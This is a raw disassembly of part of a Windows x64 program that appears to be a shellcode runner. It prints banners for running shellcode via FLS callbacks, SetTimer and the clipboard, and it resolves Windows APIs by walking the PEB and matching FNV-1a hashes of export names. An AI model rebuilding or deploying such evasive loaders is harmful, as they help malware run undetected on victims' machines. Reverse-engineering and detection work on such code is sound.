add rcx, rdx
mov qword [rsp + 0xa88], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0xa80], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa88]
mov rdx, qword [rsp + 0xa80]
mov r8d, dword [rsp + 0xa9c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xa60], rax
mov rax, qword [rsp + 0xa60]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0xa50]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0x60]
call rax
call fcn.14001e900
jmp 0x14002ee87
lea rax, str.___Executing_shellcode_via_FLS_Callback_n
mov qword [rsp + 0xb10], rax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0xb08], rax
lea rax, [rsp + 0xfa8]
mov qword [rsp + 0xb28], rax
mov rax, qword [rsp + 0xb28]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xfa8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xbb8], rax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0xbb0], rax
mov rax, qword [rsp + 0xbb0]
mov rcx, qword [rsp + 0xbb8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xbb8]
mov qword [rsp + 0xbc0], rcx
mov rcx, qword [rsp + 0xbc0]
mov rdx, qword [rsp + 0xbc0]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xfb0], rcx
mov rcx, qword [rsp + 0xbb8]
mov edx, dword [rsp + 0xfb0]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xfb4]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xf90]
mov qword [rsp + 0xba8], rax
mov rcx, qword [rsp + 0xba8]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002e680
lea rax, [rsp + 0xf90]
mov qword [rsp + 0xba0], rax
mov rax, qword [rsp + 0xba0]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xb1c], eax
mov eax, dword [rsp + 0xb1c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xb1c], ecx
cmp eax, 0
je 0x14002e67b
movabs rax, 0x7416d68c72c8251e
mov qword [rsp + 0xb98], rax
mov rax, qword [rsp + 0xb98]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0xb1c]
mov dword [rsp + 0xb94], eax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0xb88], rax
mov r8, qword [rsp + 0xb88]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0xb94]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0xb7c], ecx
mov qword [rsp + 0xb70], rax
mov eax, dword [rsp + 0xb7c]
mov dword [rsp + 0xb6c], eax
mov rax, qword [rsp + 0xb70]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0xb70], rcx
mov al, byte [rax]
mov byte [rsp + 0xb6b], al
cmp byte [rsp + 0xb6b], 0
je 0x14002e643
mov cl, byte [rsp + 0xb6b]
mov eax, dword [rsp + 0xb6c]
mov byte [rsp + 0xb87], cl
mov dword [rsp + 0xb80], eax
mov eax, dword [rsp + 0xb80]
mov dword [rsp + 0x5c], eax
movsx eax, byte [rsp + 0xb87]
cmp eax, 0x41
jl 0x14002e618
movsx eax, byte [rsp + 0xb87]
cmp eax, 0x5a
jg 0x14002e618
movsx eax, byte [rsp + 0xb87]
or eax, 0x20
mov dword [rsp + 0x58], eax
jmp 0x14002e624
movsx eax, byte [rsp + 0xb87]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x58]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xb6c], eax
jmp 0x14002e58d
mov eax, dword [rsp + 0xb6c]
movabs rcx, 0x7416d68c72c8251e
mov qword [rsp + 0xb60], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0xb60]
cmp eax, ecx
je 0x14002e6b6
jmp 0x14002e4ee
jmp 0x14002e680
lea rax, [rsp + 0xfa8]
mov qword [rsp + 0xb30], rax
mov rax, qword [rsp + 0xb30]
mov rcx, qword [rax]
mov qword [rsp + 0xb38], rcx
mov rcx, qword [rsp + 0xb38]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002e418
mov eax, dword [rsp + 0xb1c]
mov dword [rsp + 0xb5c], eax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0xb50], rax
mov rax, qword [rsp + 0xb50]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0xb48], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0xb40], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb48]
mov rdx, qword [rsp + 0xb40]
mov r8d, dword [rsp + 0xb5c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xb20], rax
mov rax, qword [rsp + 0xb20]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0xb10]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0x50]
call rax
call fcn.1400208f0
jmp 0x14002ee87
lea rax, str.___Executing_shellcode_via_SetTimer_n
mov qword [rsp + 0xbd0], rax
lea rax, [rsp + 0xc90]
mov qword [rsp + 0xbc8], rax
lea rax, [rsp + 0xfd0]
mov qword [rsp + 0xbe8], rax
mov rax, qword [rsp + 0xbe8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xfd0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xc78], rax
lea rax, [rsp + 0xfb8]
mov qword [rsp + 0xc70], rax
mov rax, qword [rsp + 0xc70]
mov rcx, qword [rsp + 0xc78]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xc78]
mov qword [rsp + 0xc80], rcx
mov rcx, qword [rsp + 0xc80]
mov rdx, qword [rsp + 0xc80]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xfd8], rcx
mov rcx, qword [rsp + 0xc78]
mov edx, dword [rsp + 0xfd8]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xfdc]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xfb8]
mov qword [rsp + 0xc68], rax
mov rcx, qword [rsp + 0xc68]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002ea15
lea rax, [rsp + 0xfb8]
mov qword [rsp + 0xc60], rax
mov rax, qword [rsp + 0xc60]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xbdc], eax
mov eax, dword [rsp + 0xbdc]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xbdc], ecx
cmp eax, 0
je 0x14002ea10
movabs rax, 0xa177bf13d535e817
mov qword [rsp + 0xc58], rax
mov rax, qword [rsp + 0xc58]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0xbdc]
mov dword [rsp + 0xc54], eax
lea rax, [rsp + 0xfb8]
mov qword [rsp + 0xc48], rax
mov r8, qword [rsp + 0xc48]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0xc54]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0xc3c], ecx
mov qword [rsp + 0xc30], rax
mov eax, dword [rsp + 0xc3c]
mov dword [rsp + 0xc2c], eax
mov rax, qword [rsp + 0xc30]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0xc30], rcx
mov al, byte [rax]
mov byte [rsp + 0xc2b], al
cmp byte [rsp + 0xc2b], 0
je 0x14002e9d8
mov cl, byte [rsp + 0xc2b]
mov eax, dword [rsp + 0xc2c]
mov byte [rsp + 0xc47], cl
mov dword [rsp + 0xc40], eax
mov eax, dword [rsp + 0xc40]
mov dword [rsp + 0x4c], eax
movsx eax, byte [rsp + 0xc47]
cmp eax, 0x41
jl 0x14002e9ad
movsx eax, byte [rsp + 0xc47]
cmp eax, 0x5a
jg 0x14002e9ad
movsx eax, byte [rsp + 0xc47]
or eax, 0x20
mov dword [rsp + 0x48], eax
jmp 0x14002e9b9
movsx eax, byte [rsp + 0xc47]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x4c]
mov ecx, dword [rsp + 0x48]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xc2c], eax
jmp 0x14002e922
mov eax, dword [rsp + 0xc2c]
movabs rcx, 0xa177bf13d535e817
mov qword [rsp + 0xc20], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0xc20]
cmp eax, ecx
je 0x14002ea4b
jmp 0x14002e883
jmp 0x14002ea15
lea rax, [rsp + 0xfd0]
mov qword [rsp + 0xbf0], rax
mov rax, qword [rsp + 0xbf0]
mov rcx, qword [rax]
mov qword [rsp + 0xbf8], rcx
mov rcx, qword [rsp + 0xbf8]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002e7ad
mov eax, dword [rsp + 0xbdc]
mov dword [rsp + 0xc1c], eax
lea rax, [rsp + 0xfb8]
mov qword [rsp + 0xc10], rax
mov rax, qword [rsp + 0xc10]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0xc08], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0xc00], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc08]
mov rdx, qword [rsp + 0xc00]
mov r8d, dword [rsp + 0xc1c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xbe0], rax
mov rax, qword [rsp + 0xbe0]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0xbd0]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0x40]
call rax
call fcn.1400237d0
jmp 0x14002ee87
lea rax, str.___Executing_shellcode_via_Clipboard_n
mov qword [rsp + 0x2a0], rax
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x298], rax
lea rax, [rsp + 0xdf0]
mov qword [rsp + 0x2b8], rax
mov rax, qword [rsp + 0x2b8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xdf0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x348], rax
lea rax, [rsp + 0xdd8]
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
mov rcx, qword [rsp + 0x348]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x348]
mov qword [rsp + 0x350], rcx
mov rcx, qword [rsp + 0x350]
mov rdx, qword [rsp + 0x350]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xdf8], rcx
mov rcx, qword [rsp + 0x348]
mov edx, dword [rsp + 0xdf8]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xdfc]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xdd8]
mov qword [rsp + 0x338], rax
mov rcx, qword [rsp + 0x338]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002edaa
lea rax, [rsp + 0xdd8]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x330]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x2ac], eax
mov eax, dword [rsp + 0x2ac]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x2ac], ecx
cmp eax, 0
je 0x14002eda5
movabs rax, 0xdab3e9a5f7a71c75
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x328]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x2ac]
mov dword [rsp + 0x324], eax
lea rax, [rsp + 0xdd8]
mov qword [rsp + 0x318], rax
mov r8, qword [rsp + 0x318]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x324]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x30c], ecx
mov qword [rsp + 0x300], rax
mov eax, dword [rsp + 0x30c]
mov dword [rsp + 0x2fc], eax
mov rax, qword [rsp + 0x300]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x300], rcx
mov al, byte [rax]
mov byte [rsp + 0x2fb], al
cmp byte [rsp + 0x2fb], 0
je 0x14002ed6d
mov cl, byte [rsp + 0x2fb]
mov eax, dword [rsp + 0x2fc]
mov byte [rsp + 0x317], cl
mov dword [rsp + 0x310], eax
mov eax, dword [rsp + 0x310]
mov dword [rsp + 0x3c], eax
movsx eax, byte [rsp + 0x317]
cmp eax, 0x41
jl 0x14002ed42
movsx eax, byte [rsp + 0x317]
cmp eax, 0x5a
jg 0x14002ed42
movsx eax, byte [rsp + 0x317]
or eax, 0x20
mov dword [rsp + 0x38], eax
jmp 0x14002ed4e
movsx eax, byte [rsp + 0x317]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x38]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x2fc], eax
jmp 0x14002ecb7
mov eax, dword [rsp + 0x2fc]
movabs rcx, 0xdab3e9a5f7a71c75
mov qword [rsp + 0x2f0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x2f0]
cmp eax, ecx
je 0x14002ede0
jmp 0x14002ec18
jmp 0x14002edaa
lea rax, [rsp + 0xdf0]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
mov rcx, qword [rax]
mov qword [rsp + 0x2c8], rcx
mov rcx, qword [rsp + 0x2c8]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002eb42
mov eax, dword [rsp + 0x2ac]
mov dword [rsp + 0x2ec], eax
lea rax, [rsp + 0xdd8]
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x2e0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x2d8], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x2d0], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d8]
mov rdx, qword [rsp + 0x2d0]
mov r8d, dword [rsp + 0x2ec]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x2a0]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0x30]
call rax
call fcn.140027430
mov eax, dword [rsp + 0x18c]
mov dword [rsp + 0x2c], eax
mov rcx, qword [rsp + 0x1080]
xor rcx, rsp
call fcn.14002f100
mov eax, dword [rsp + 0x2c]
add rsp, 0x1088
ret